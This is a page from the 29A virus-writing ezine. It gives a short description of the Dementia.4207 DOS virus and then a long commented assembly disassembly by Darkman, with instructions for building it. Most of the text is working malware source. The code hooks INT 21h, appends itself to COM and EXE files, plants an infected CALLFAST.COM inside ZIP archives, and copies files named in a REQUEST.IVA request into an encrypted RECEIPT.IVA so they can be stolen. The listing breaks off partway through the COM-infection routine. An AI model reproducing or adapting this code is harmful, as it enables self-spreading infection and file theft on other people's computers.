Copy Link
Add to Bookmark
Report

29A Issue 02 04 02

eZine's profile picture
Published in 
29A
 · 4 years ago

  

Dementia.4207
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
It is not a dangerous memory resident encrypted parasitic virus. It hooks
INT 21h, then writes itself to the end of COM and EXE files that are
executed or opened. The virus contains the text strings:

!#TEMP#!
REQUEST.IVA
RECEIPT.IVA
CALLFAST.COM
*.*
Dementia] Copyright 1993 Necrosoft enterprises - All rights reserved
I am the man that walks alone
And when I'm walking a dark road
At night or strolling through the park
When the light begins to change
I sometimes feel a little strange
A little anxious when it's dark

While opening any ZIP file the virus scans the contents of the ZIP file for
the REQUEST.IVA file. If there is no such one inside of ZIP, the virus
creates the CALLFAST.COM file, writes into there the video-effect routine,
infects CALLFAST.COM and appends that file to the files stored in ZIP.

So the virus "infects" ZIP file, after "infection" the ZIP file contains
infected copy of the virus.

If there is the REQUEST.IVA file in the ZIP, and that file is of the special
format (there is ID-string 92h,14h,76h,17h, and there is one or more file
search pattern) the virus creates RECEIPT.IVA file, searches for the files
are listed in the REQUEST.IVA file, copies them into RECEIPT.IVA, encrypts
the result, and stores it into the ZIP.

So the virus is able to "stole" the files from the computer and save them
into the ZIP containing special REQUEST.IVA file.

While processing the ZIP files the virus does not call PKZIP/PKUNZIP
utilities, but parses by itself the internal ZIP format, reads/writes the
ZIP records and adds new ones. While writing new data into the ZIP files the
virus does not use compression, but writes it in not compressed form (ZIP
method "stored").

The virus dropper (the CALLFAST.COM file) contains the routine witch
displays when executed:

DEMENTIA
(512)PRI-VATE ú 0 day wares ú V-X
800 megs online ú USR Dual 16.8k
-\- Psychotech <Image> -/-
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENTIA.ASM]ÄÄ
comment *
Dementia.4207
Disassembly by
Darkman/29A

Dementia.4207 is a 4207 bytes parasitic resident COM/EXE/ZIP virus. Infects
files at close file, open file and load and/or execute program by appending
the virus to the infected COM/EXE file and storing in the infected ZIP file.
Dementia.4207 has an error handler, 16-bit exclusive OR (XOR) encryption in
file and is using archive infection technique.

To compile Dementia.4207 with Turbo Assembler v 4.0 type:
TASM /M DEMENTIA.ASM
TLINK /x DEMENTIA.OBJ
EXE2BIN DEMENTIA.EXE DEMENTIA.COM
*

.model tiny
.code

code_begin:
call delta_offset
delta_offset:
pop si ; Load SI from stack
add si,(crypt_begin-delta_offset-02h)
mov di,si ; DI = offset of code_end - 02h

std ; Set direction flag
mov cx,(crypt_begin-crypt_end-02h)/02h
decrypt_key equ word ptr $+01h ; Decryption key
mov dx,00h ; DX = decryption key

push cs cs ; Save segments at stack
pop ds es ; Load segments from stack (CS)
decrypt_loop:
lodsw ; AX = word of encrypted code
xor ax,dx ; Decrypt two bytes
stosw ; Store two plain bytes

jmp crypt_end
crypt_end:
loop decrypt_loop

cld ; Clear direction flag
push cs ; Save CS at stack
sub si,(crypt_end-code_begin)
nop
mov cl,04h ; Divide by paragraphs
shr si,cl ; SI = offset of crypt_end in para...
mov ax,cs ; AX = code segment
add ax,si ; Add code segment to delta offset...
push ax ; Save AX at stack

lea ax,virus_begin ; AX = offset of virus_begin
push ax ; Save AX at stack

retf ; Return far!
virus_begin:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

pop ax ; Load AX from stack (CS)
mov [code_seg_],ax ; Store code segment

mov bx,1492h ; Dementia.4207 function
call close_file
cmp bx,1776h ; Already resident?
je virus_exit ; Equal? Jump to virus_exit

call install
virus_exit:
mov ah,[com_or_exe] ; AH = COM or EXE executable?
cmp ah,00h ; COM executable?
nop
je vir_com_exit ; Equal? Jump to vir_com_exit

mov ax,[code_seg_] ; AX = code segment
mov bx,[initial_cs] ; AX = initial CS relative to star...
sub ax,bx ; Subtract initial CS relative to ...
mov dx,ax ; DX = segment of PSP for current ...

mov bx,[code_seg] ; BX = original code segment
add ax,bx ; Add original code segment to seg...
mov [code_seg],ax ; Store original code segment

xchg ax,dx ; AX = segment of current PSP proc...

cli ; Clear interrupt-enable flag
mov bx,[stack_seg] ; BX = original stack segment
add ax,bx ; Add original stack segment to se...
mov ss,ax ; SS = original stack segment

mov ax,[stack_ptr] ; AX = original stack pointer
mov sp,ax ; SP = " " "
sti ; Set interrupt-enable flag

mov ah,62h ; Get current PSP address
int 21h
mov ds,bx ; DS = segment of PSP for current ...
mov es,bx ; ES = segment of PSP for current ...

xor ax,ax ; Zero AX
xor bx,bx ; Zero BX
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor si,si ; Zero SI
xor di,di ; Zero DI

jmp dword ptr cs:[instruct_ptr]
vir_com_exit:
mov di,100h ; DI = offset of beginning of code
lea si,origin_code ; SI = offset of origin_code
nop
movsw ; Move the original code to beginning
movsb ; " " " " " "

push es ; Save ES at stack

mov ax,100h ; AX = offset of beginning of code
push ax ; Save AX at stack

xor ax,ax ; Zero AX
xor bx,bx ; Zero BX
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor si,si ; Zero SI
xor di,di ; Zero DI

push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

retf ; Return far!

upcase_char proc near ; Upcase character
cmp al,'a' ; Lowcase character?
jl dont_upcase ; Less? Jump to dont_upcase
cmp al,'z' ; Lowcase character?
jg dont_upcase ; Greater? Jump to dont_upcase

sub al,20h ; Upcase character
dont_upcase:
ret ; Return!
endp

int21_virus proc near ; Interrupt 21h of Dementia.4207
pushf ; Save flags at stack
cld ; Clear direction flag

cmp ah,3eh ; Close file?
jne tst_open_fil ; Not equal? Jump to tst_open_fil

cmp bx,1492h ; Dementia.4207 function?
jne tst_open_fil ; Not equal? Jump to tst_open_fil

mov bx,1776h ; Already resident

popf ; Load flags from stack

iret ; Interrupt return!
tst_open_fil:
cmp ah,3dh ; Open file
jne tst_load_and ; Not equal? Jump to tst_load_and

cmp al,0ffh ; Dementia.4207 function
je dementia_fun ; Equal? Jump to dementia_fun

push ax si ; Save registers at stack
mov si,dx ; SI = offset of filename
find_dot:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
je open_fi_exit ; Equal? Jump to open_fi_exit

cmp al,'.' ; Found the dot in the filename
jne find_dot ; Not equal? Jump to find_dot

lodsb ; AL = byte of extension
call upcase_char
cmp al,'C' ; COM executable?
jne tst_exe_exec ; Not equal? Jump to tst_exe_exec

lodsb ; AL = byte of extension
call upcase_char
cmp al,'O' ; COM executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb ; AL = byte of extension
call upcase_char
cmp al,'M' ; COM executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

call inf_com_exe

jmp open_fi_exit
tst_exe_exec:
cmp al,'E' ; EXE executable?
jne tst_zip_arch ; Not equal? Jump to tst_zip_arch

lodsb ; AL = byte of extension
call upcase_char
cmp al,'X' ; EXE executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb ; AL = byte of extension
call upcase_char
cmp al,'E' ; EXE executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

call inf_com_exe

jmp open_fi_exit
tst_zip_arch:
cmp al,'Z' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb ; AL = byte of extension
call upcase_char
cmp al,'I' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb ; AL = byte of extension
call upcase_char
cmp al,'P' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

call infect_zip

jmp open_fi_exit
open_fi_exit:
pop si ax ; Load registers from stack

jmp tst_load_and
dementia_fun:
mov al,02h ; Dementia.4207 function
tst_load_and:
cmp ah,4bh ; Load and/or execute program?
jne int21_exit ; Not equal? Jump to int21_exit

call inf_com_exe
int21_exit:
popf ; Load flags from stack

jmp cs:[int21_addr]
endp

install proc near ; Allocate memory, move virus to t...
push es ; Save ES at stack

mov ah,52h ; Get list of lists
int 21h

mov ax,es:[bx-02h] ; AX = segment of first memory con...
next_mcb:
mov ds,ax ; DS = segment of current memory c...

mov al,ds:[00h] ; AL = block type
cmp al,'Z' ; Last block in chain?
je allocate_mem ; Equal? Jump to allocate_mem

mov ax,ds ; AX = segment of current memory c...
mov bx,ds:[03h] ; BX = size of memory block in par...
add ax,bx ; Add size of memory block in para...
inc ax ; AX = segment of next memory cont...

jmp next_mcb
allocate_mem:
mov bx,ds:[03h] ; BX = size of memory block in par...
sub bx,(code_end-code_begin+0fh)/10h*02h
mov ds:[03h],bx ; Store new size of memory control...

mov ax,ds ; AX = segment of last memory cont...
add ax,bx ; Add new size of memory block in ...
inc ax ; AX = segment of virus
mov es,ax ; ES = " " "

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

xor si,si ; Zero SI
xor di,di ; Zero DI
mov cx,(code_end-code_begin)
rep movsb ; Move virus to top of memory

push es ; Save ES at stack

lea ax,install_ ; AX = offset of install_
push ax ; Save AX at stack

retf ; Return far!
install_:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

mov ax,3521h ; Get interrupt vector 21h
int 21h
mov word ptr [int21_addr+02h],es
mov word ptr [int21_addr],bx

lea dx,int21_virus ; DX = offset of int21_virus
mov ax,2521h ; Set interrupt vector 21h
int 21h

pop es ; Load ES from stack

ret ; Return!
endp

inf_com_exe proc near ; Infect COM/EXE file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,06h ; Correct stack pointer

push ax bx cx dx si di ds es

call int24_store

call open_file
jc com_exe_exit ; Error? Jump to com_exe_exit

call load_info
and cx,0000000000011111b
cmp cx,0000000000000001b
je call_close ; Already infected? Jump to call_c...

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov cx,20h ; Read thirty-two bytes
call read_file

mov ax,ds:[00h] ; AX = EXE signature
cmp ax,'MZ' ; Found EXE signature?
je call_infect ; Equal? Jump to call_infect
cmp ax,'ZM' ; Found EXE signature?
je call_infect ; Equal? Jump to call_infect

call infect_com

jmp call_mark
call_infect:
call infect_exe
call_mark:
call infect_mark
call_close:
call close_file
com_exe_exit:
call int24_load

pop es ds di si dx cx bx ax

mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

infect_zip proc near ; Infect ZIP archive
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,28h ; Correct stack pointer

push ax bx cx dx si di ds es

xor ax,ax ; Didn't found file
mov [bp-0eh],ax ; Store didn't found CALLFAST.COM
mov [bp-10h],ax ; " " " REQUEST.IVA
mov [bp-12h],ax ; " " " RECEIPT.IVA

call int24_store

push dx ds ; Save registers at stack
lea dx,temp_file ; DX = offset of temp_file
nop
call create_file
mov [bp-0ah],ax ; Store file handle of !#TEMP#!
pop ds dx ; Load registers from stack

call open_file
jnc load_info_ ; No error? Jump to load_info_

jmp inf_zip_exit
load_info_:
mov [bp-08h],ax ; Store file handle of ZIP file

call load_info

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
next_lfh_sig:
mov cx,04h ; Read four bytes
call read_file

mov ax,ds:[00h] ; AX = low-order word of file head...
cmp ax,'KP' ; Found low-order word of file ha...?
je test_dir_sig ; Equal? Jump to test_dir_sig

jmp call_mark_
test_dir_sig:
mov ax,ds:[02h] ; AX = high-order word of file hea...
cmp ax,201h ; Found high-order word of central...
jne read_lfh ; Not equal? Jump to read_lfh

jmp zero_cdh_num
read_lfh:
mov cx,1ah ; Read twenty-six bytes
call read_file

mov cx,ds:[16h] ; CX = filename length
mov dx,20h ; DI = offset of filename
call read_file_

push cs ; Save CS at stack
pop es ; Load ES from stack (CS)

lea di,request_iva ; DI = offset of request_iva
nop
mov si,20h ; SI = offset of filename
request_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of request_iva

inc di ; Increase index register

cmp ah,00h ; End of filename?
je found_reques ; Equal? Jump to found_reques

cmp ah,al ; Byte of filename equal to byte o...
jne find_callfas ; Not equal? Jump to find_callfas

jmp request_loop
found_reques:
mov ax,01h ; Found REQUEST.IVA
mov [bp-10h],ax ; Store found REQUEST.IVA

xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
call set_pos_cfp
mov [bp-24h],ax ; AX = low-order word of extra field
mov [bp-22h],dx ; DX = high-order word of extra field
find_callfas:
lea di,callfast_com ; DI = offset of callfast_com
nop
mov si,20h ; SI = offset of filename
callfas_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of callfast_com

inc di ; Increase index register

cmp ah,00h ; End of filename?
je found_callfa ; Equal? Jump to found_callfa

cmp ah,al ; Byte of filename equal to byte o...
jne find_receipt ; Not equal? Jump to find_receipt

jmp callfas_loop
found_callfa:
mov ax,01h ; Found CALLFAST.COM
mov [bp-0eh],ax ; Store found CALLFAST.COM
find_receipt:
lea di,receipt_iva ; DI = offset of receipt_iva
nop
mov si,20h ; SI = offset of filename
receipt_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of receipt_iva

inc di ; Increase index register

cmp ah,00h ; End of filename?
je found_receip ; Equal? Jump to found_receip

cmp ah,al ; Byte of filename equal to byte o...
jne calc_lfh_ptr ; Not equal? Jump to calc_lfh_ptr

jmp receipt_loop
found_receip:
mov ax,01h ; Found RECEIPT.IVA
mov [bp-12h],ax ; Store found RECEIPT.IVA
calc_lfh_ptr:
mov dx,ds:[0eh] ; DX = low-order word of compresse...
mov cx,ds:[10h] ; CX = high-order word of compress...
mov ax,ds:[18h] ; AX = extra field length
add dx,ax ; Add extra field length to compre...
adc cx,00h ; Convert to 32-bit

call set_pos_cfp

jmp next_lfh_sig
zero_cdh_num:
xor ax,ax ; No central directory file header...
mov [bp-0ch],ax ; Store no central directory file ...
copy_cds:
mov ax,[bp-0ch] ; AX = number of central directory...
inc ax ; Increase number of central direc...
mov [bp-0ch],ax ; Store number of central director...

mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,2ah ; Read forty-two bytes
call read_file

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_

mov cx,ds:[18h] ; CX = filename length
mov bx,ds:[1ah] ; BX = extra field length
add cx,bx ; Add extra field length to filena...
mov bx,ds:[1ch] ; BX = file comment length
add cx,bx ; CX = number of bytes to read

mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_

mov cx,04h ; Read four bytes
mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_

mov ax,ds:[00h] ; AX = low-order word of end of ce...
cmp ax,'KP' ; Found low-order word of end of ...?
je test_eoc_sig ; Equal? Jump to test_eoc_sig

jmp call_mark_
test_eoc_sig:
mov ax,ds:[02h] ; AX = high-order word of end of c...
cmp ax,605h ; Found high-order word of end of ...
je copy_eocds ; Equal? Jump to read_oecds

jmp copy_cds
copy_eocds:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,12h ; Read eightteen bytes
call read_file

mov ax,ds:[0ch] ; AX = low-order word of offset of...
mov [bp-18h],ax ; Store low-order word of offset o...
mov ax,ds:[0eh] ; AX = high-order word of offset o...
mov [bp-16h],ax ; Store high-order word of offset ...

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_

mov cx,ds:[10h] ; CX = zipfile comment length
mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_

mov ax,[bp-10h] ; AX = found REQUEST.IVA
or ax,ax ; Didn't found REQUEST.IVA
jz test_callfas ; Zero? Jump to test_callfas

jmp test_receipt
test_callfas:
mov ax,[bp-0eh] ; AX = found CALLFAST.COM
or ax,ax ; Didn't found CALLFAST.COM
jz create_file_ ; Zero? Jump to create_file_

jmp call_mark_
create_file_:
lea dx,callfast_com ; DX = offset of callfast_com
nop
call create_file
mov [bp-14h],ax ; Store file handle of CALLFAST.COM
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM

mov cx,(file_end-file_begin)
nop
lea dx,file_begin ; DX = offset of file_begin
nop
call write_file_

call close_file

mov ax,01h ; Don't test filesize
mov [tst_filesize],ax ; Store don't test filesize

lea dx,callfast_com ; DX = offset of callfast_com
nop
call inf_com_exe

xor ax,ax ; Test filesize
mov [tst_filesize],ax ; Store test filesize

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

push cs ; Save CS at stack
pop es ; Load ES from stack (CS)

lea si,callfast_com ; SI = offset of callfast_com
nop
lea di,filename ; DI = offset of filename
nop
mov cx,0dh ; Move thirteen bytes
rep movsb ; Move CALLFAST.COM to filename
open_filenam:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea dx,filename ; DX = offset of filename
nop
call open_file

call set_pos_eof
mov [bp-1ch],ax ; Store low-order word of filesize
mov [bp-1ah],dx ; Store high-order word of filesize

call calc_crc32
mov [bp-20h],ax ; Store low-order word of CRC-32 c...
mov [bp-1eh],dx ; Store high-order word of CRC-32 ...

mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,[bp-16h] ; CX = high-order word of offset o...
mov dx,[bp-18h] ; DX = low-order word of offset of...
call set_pos_sof_

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov ax,'KP' ; AX = low-order word of local hea...
mov ds:[00h],ax ; Store low-order word of local he...
mov ax,403h ; AX = high-order word of local hea...
mov ds:[02h],ax ; Store high-order word of local he...
mov ax,0ah ; AX = version needed to extract (v...
mov ds:[04h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[06h],ax ; Store general purpose bit flag
mov ds:[08h],ax ; Store compression method (the fil...
mov ax,3021h ; AX = last modified file time
mov ds:[0ah],ax ; Store last modified file time
mov ax,1ae1h ; AX = last modified file date
mov ds:[0ch],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[0eh],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[10h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[12h],ax ; Store low-order word of compress...
mov ds:[16h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[14h],ax ; Store high-order word of compres...
mov ds:[18h],ax ; Store high-order word of uncompr...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ah],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length (0 bytes)
mov ds:[1ch],ax ; Store extra field length (0 bytes)

mov cx,1eh ; Write thirty bytes
call write_file

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea dx,filename ; DX = offset of filename
nop
mov cx,0ch ; Write twelve bytes
nop
call write_file_

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
call set_pos_sof
copy_callfas:
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je copy_cds_ ; Equal? Jump to copy_cds_

mov cx,ax ; CX = number of bytes actually read
mov bx,[bp-08h] ; BX = file handle of ZIP file
call write_file

jmp copy_callfas
copy_cds_:
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call set_pos_sof
cpy_cds_loop:
mov ax,[bp-0ch] ; AX = number of central directory...
cmp ax,00h ; No central directory file header?
je wrt_last_cds ; Equal? Jump to write_last_cds

dec ax ; Decrease number of central direc...
mov [bp-0ch],ax ; Store number of central director...

mov ax,'KP' ; AX = low-order word of central d...
mov ds:[00h],ax ; Store low-order word of central ...
mov ax,201h ; AX = high-order word of central ...
mov ds:[02h],ax ; Store high-order word of central...

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
mov cx,2ah ; Read forty-two bytes
mov dx,04h ; DX = offset of central directory...
call read_file_

mov cx,ds:[1ch] ; CX = filename length
mov dx,ds:[1eh] ; DX = extra field length
add cx,dx ; Add extra field length to filena...
mov dx,ds:[20h] ; DX = file comment length
add cx,dx ; CX = number of bytes to read

push cx ; Save CX at stack
mov dx,2eh ; DX = offset of central directory...
call read_file_

mov bx,[bp-08h] ; BX = file handle of ZIP file
pop cx ; Load CX from stack
add cx,2eh ; Add size of central directory fi...
call write_file

jmp cpy_cds_loop
wrt_last_cds:
mov ax,0ah ; AX = version made by (version 1....
mov ds:[04h],ax ; Store version made by (version 1...
mov ds:[06h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[08h],ax ; Store general purpose bit flag
mov ds:[0ah],ax ; Store compression method (the fil...
mov ax,3021h ; AX = last modified file time
mov ds:[0ch],ax ; Store last modified file time
mov ax,1ae1h ; AX = last modified file date
mov ds:[0eh],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[10h],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[12h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[14h],ax ; Store low-order word of compress...
mov ds:[18h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[16h],ax ; Store high-order word of compres...
mov ds:[1ah],ax ; Store high-order word of compres...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ch],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length, file co...
mov ds:[1eh],ax ; Store extra field length (0 bytes)
mov ds:[20h],ax ; Store file comment length (0 bytes)
mov ds:[22h],ax ; Store disk number start (0 bytes)
mov ds:[24h],ax ; Store internal file attributes
mov ds:[26h],ax ; Store low-order word of external...
mov ds:[28h],ax ; Store high-order word of externa...
mov ax,[bp-18h] ; AX = low-order word of offset of...
mov ds:[2ah],ax ; Store low-order word of relative...
mov ax,[bp-16h] ; AX = high-order word of offset o...
mov ds:[2ch],ax ; Store high-order word of relativ...

mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,2eh ; Write forty-six bytes
call write_file

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea dx,filename ; DX = offset of filename
nop
mov cx,0ch ; Write twelve bytes
nop
call write_file_

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov ax,'KP' ; AX = low-order word of end of ce...
mov ds:[00h],ax ; Store low-order word of end of c...
mov ax,605h ; AX = high-order word of end of c...
mov ds:[02h],ax ; Store high-order word of end of ...

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
mov cx,12h ; Read eightteen bytes
mov dx,04h ; DX = offset of end of central di...
call read_file_

mov cx,ds:[14h] ; CX = zipfile comment length
push cx ; Save CX at stack
mov dx,16h ; DX = offset of zipfile comment
call read_file_

mov ax,ds:[08h] ; AX = total number of entries in ...
inc ax ; Increase total number of entries...
mov ds:[08h],ax ; Store total number of entries in...
mov ax,ds:[0ah] ; AX = total number of entries in ...
inc ax ; Increase total number of entries...
mov ds:[0ah],ax ; Store total number of entries in...
mov ax,ds:[0ch] ; AX = low-order word of size of t...
mov dx,ds:[0eh] ; DX = high-order word of size of ...
add ax,3ah ; Add size of central directory fi...
nop
adc dx,00h ; Convert to 32-bit
mov ds:[0ch],ax ; Store low-order word of size of ...
mov ds:[0eh],dx ; Store high-order word of size of...
mov ax,ds:[10h] ; AX = low-order word of offset of...
mov dx,ds:[12h] ; DX = high-order word of offset o...
add ax,2ah ; Add size of local file header to...
nop
adc dx,00h ; Convert to 32-bit
mov bx,[bp-1ah] ; BX = high-order word of filesize
add dx,bx ; Add high-order word of filesize ...
mov bx,[bp-1ch] ; BX = low-order word of filesize
add ax,bx ; Add low-order word of filesize t...
adc dx,00h ; Convert to 32-bit
mov ds:[10h],ax ; Store low-order word of offset o...
mov ds:[12h],dx ; Store high-order word of offset ...

mov bx,[bp-08h] ; BX = file handle of ZIP file
pop cx ; Load CX from stack
add cx,16h ; Add size of end of central direc...
call write_file

mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
call close_file

lea dx,filename ; DX = offset of filename
nop
call delete_file

jmp call_mark_
test_receipt:
mov ax,[bp-12h] ; AX = found RECEIPT.IVA
or ax,ax ; Didn't found RECEIPT.IVA
jz exam_extra ; Zero? Jump to exam_extra

jmp call_mark_
exam_extra:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,[bp-22h] ; CX = high-order word of extra field
mov dx,[bp-24h] ; DX = low-order word of extra field
call set_pos_sof_

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov es,ax ; ES = segment of data buffer

mov cx,400h ; Read one thousand and twenty-fou...
call read_file

cld ; Clear direction flag
xor si,si ; Zero SI
xor di,di ; Zero DI
lodsw ; AX = word of extra field
cmp ax,1492h ; Found infection mark?
je comp_extra ; Equal? Jump to comp_extra

jmp call_mark_
comp_extra:
lodsw ; AX = word of extra field
cmp ax,1776h ; Found infection mark?
je load_extra ; Equal? Jump to load_extra

jmp call_mark_
load_extra:
lodsw ; AX = 16-bit decryption key
mov dx,ax ; DX = " " "
lodsb ; AL = number of file specifications

xor cx,cx ; Zero CX
mov cl,al ; CL = number of filespecification
push ax ; Save AX at stack
decrypt_next:
push cx ; Save CX at stack
mov cx,07h ; Decryption fourteen bytes
decrypt_spec:
lodsw ; AX = word of encrypted file spec...
xor ax,dx ; Decrypt word of file specification
stosw ; Store word of file specification

loop decrypt_spec

pop cx ; Load CX from stack

loop decrypt_next

mov ax,ds ; AX = segment of data buffer
add ax,40h ; AX = segment of pathname
mov es,ax ; ES = " " "

push ds ; Save DS at stack
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

mov ah,47h ; Get current directory
xor dl,dl ; Default drive
xor si,si ; Zero SI
int 21h
pop ds ; Load DS from stack

mov ax,es ; AX = segment of pathname
add ax,04h ; AX = segment of end of pathname
mov es,ax ; ES = " " " " "

xor di,di ; Zero DI
mov al,'\' ; AL = backslash
stosb ; Store backslash
xor al,al ; AL = zero
stosb ; Store zero

push es ; Save ES at stack
mov ah,2fh ; Get disk transfer area address
int 21h
mov [bp-26h],es ; Store segment of disk transfer a...
mov [bp-28h],bx ; Store offset of disk transfer ar...
pop es ; Load ES from stack

push ds ; Save DS at stack
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area

xor dx,dx ; Zero DX
mov ah,1ah ; Set disk transfer area address
int 21h

lea dx,receipt_iva ; DX = offset of receipt_iva
nop
call create_file
mov bx,ax ; BX = file handle of RECEIPT.IVA
mov [bp-14h],ax ; Store file handle of RECEIPT.IVA
pop ds ; Load DS from stack

pop ax ; Load AX from stack
mov dx,01h ; Don't store backslash
call create_recei

mov bx,[bp-14h] ; BX = file handle of RECEIPT.IVA
call set_pos_sof

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
mov es,ax ; ES = " " " " "
encrypt_rece:
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je set_dta_addr ; Equal? Jump to set_dta_addr

push ax ; Save AX at stack
xor dx,dx ; Zero DX
sub dx,ax ; DX = -number of bytes actually read
mov cx,-01h
call set_pos_cfp

pop ax ; Load AX from stack
push ax ; Save AX at stack

mov cx,ax ; CX = number of bytes actually read
xor si,si ; Zero SI
xor di,di ; Zero DI
encrypt_ipt_:
lodsb ; AL = byte of RECEIPT.IVA
xor al,0ffh ; Encrypt byte of RECEIPT.IVA
stosb ; Store encrypted byte of RECEIPT.IVA
loop encrypt_ipt_

pop ax ; Load AX from stack
mov cx,ax ; CX = number of bytes actually read
call write_file

jmp encrypt_rece
set_dta_addr:
call close_file

mov ds,[bp-26h] ; DS = segment of disk transfer area
mov dx,[bp-28h] ; DX = offset of disk transfer area
mov ah,1ah ; Set disk transfer area address
int 21h

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+40h
mov ds,ax ; DS = segment of data buffer

xor dx,dx ; Zero DX
mov ah,3bh ; Set current directory
int 21h

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

push cs ; Save CS at stack
pop es ; Load ES from stack (CS)

lea si,receipt_iva ; SI = offset of receipt_iva
nop
lea di,filename ; DI = offset of filename
nop
mov cx,0dh ; Move thirteen bytes
rep movsb ; Move RECEIPT.IVA to filename

jmp open_filenam
call_mark_:
mov bx,[bp-08h] ; BX = file handle of ZIP file
call infect_mark

mov bx,[bp-08h] ; BX = file handle of ZIP file
call close_file

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call close_file

lea dx,temp_file ; DX = offset of temp_file
nop
call delete_file
inf_zip_exit:
call int24_load

pop es ds di si dx cx bx ax

mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

infect_com proc near ; Infect COM file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,04h ; Correct stack pointer

mov ah,00h ; COM executable
nop
nop
mov cs:[com_or_exe],ah ; Store COM executable

mov ax,ds:[00h] ; AX = word of original code of CO...
mov word ptr cs:[origin_code],ax
mov al,ds:[02h] ; AL = byte of original code of CO...
mov cs:[origin_code+02h],al

call encrypt_copy

call set_pos_eof
